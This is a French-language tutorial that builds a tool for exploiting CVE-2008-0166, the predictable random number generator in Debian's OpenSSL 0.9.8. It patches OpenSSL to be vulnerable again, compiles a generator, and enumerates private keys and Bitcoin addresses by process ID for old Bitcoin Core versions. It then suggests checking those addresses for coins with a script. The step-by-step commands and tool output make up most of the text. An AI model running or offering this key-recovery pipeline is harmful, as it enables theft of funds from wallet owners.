
Rechercher des pièces BTC dans les versions antérieures de Bitcoin Core avec la vulnérabilité critique OpenSSL 0.9.8 CVE-2008-0166
Dans cet article, nous allons créer un outil qui générera des adresses Bitcoin (P2PKH) en utilisant la vulnérabilité CVE-2008-0166. Il s'agit d'un projet de recherche pour trouver des pièces BTC sur les anciennes versions du client logiciel Bitcoin Core.
Générateur de nombres aléatoires qui génère des nombres prévisibles CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 Détecté
La version vulnérable critique OpenSSL 0.9.8 CVE-2008-0166 n'était peuplée que par l'ID de processus. En raison des différences d'endianness et de sizeof(long), la sortie dépend de l'architecture : 32 bits big-endian (par exemple, i386), 64 bits big-endian (par exemple, amd64, ia64), 32 bits big-endian (par exemple, powerpc , sparc). PID 0 est le noyau, et ( ) n'est pas atteint par le portage, il y avait donc flux de nombres aléatoires possibles pour chaque architecture.
PID_MAX
Le client logiciel Bitcoin Core utilise OpenSSL. Plus précisément, il utilise une fonction «EC_KEY_generate_key()» pour générer des adresses Bitcoin (comme une clé) pour recevoir des paiements. Les anciennes versions de Bitcoin Core génèrent et stockent 100 clés dans wallet.dat
Une nouvelle clé n'est générée que lors de la réception d'un paiement Bitcoin. Ainsi, le client logiciel Bitcoin Core maintient un pool de 100 clés Bitcoin inutilisées (adresses). L'état du générateur de nombres aléatoires interne dépend des autres appels effectués à la bibliothèque OpenSSL avant l'appel 'EC_KEY_generate_key()'. Éléments affectant l'état interne du RNG : «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
La recherche a donc consisté à parcourir de nombreuses anciennes sources de Bitcoin pour découvrir quels appels ont affecté l'état interne du RNG avant l'appel «EC_KEY_generate_key()». Le chemin d'appel change entre les versions du client logiciel Bitcoin Core
L'étude s'est concentrée sur les versions suivantes :

Notre objectif est de générer des clés privées pour chaque version du client logiciel Bitcoin Core, pour chaque architecture (le32/le64), pour chaque ID de processus et pour les adresses Bitcoin (P2PKH), en utilisant un nombre aléatoire issu d'une vulnérabilité critique. OpenSSL 0.9.8.
Au final, nous allons créer un générateur d'adresses Bitcoin (P2PKH) et tout sera sauvegardé dans un fichier result.txt

Pour cela nous allons utiliser le kit de distribution «Ubuntu 18.04.5 LTS» de Google Colab

Nous avons précédemment enregistré un tutoriel vidéo : «TERMINAL dans Google Colab crée toutes les commodités pour travailler dans GITHUB»
Ouvrez Google Colab dans Terminal [TerminalGoogleColab]
Exécutons la commande :
cat /etc/lsb-release
Allons dans le «CryptoDeepTools» dépôt et examinons les détails
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

Mettez à jour et installez g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

Afin de rendre OpenSSL à nouveau vulnérable comme dans CVE-2008-0166
Téléchargez openssl-0.9.8c.tar.gz et patchez les fichiers système
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Tout sera sauvegardé dans le stockage de fichiers Google Drive sous forme de fichier texte result.txt


Ensuite, il reste à vérifier toutes les adresses Bitcoin générées pour la présence de pièces BTC, pour cela nous pouvons utiliser le script Python : bitcoin-checker.py
Vidéo : https://youtu.be/zHkXups2I8k
| Adresse de don | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |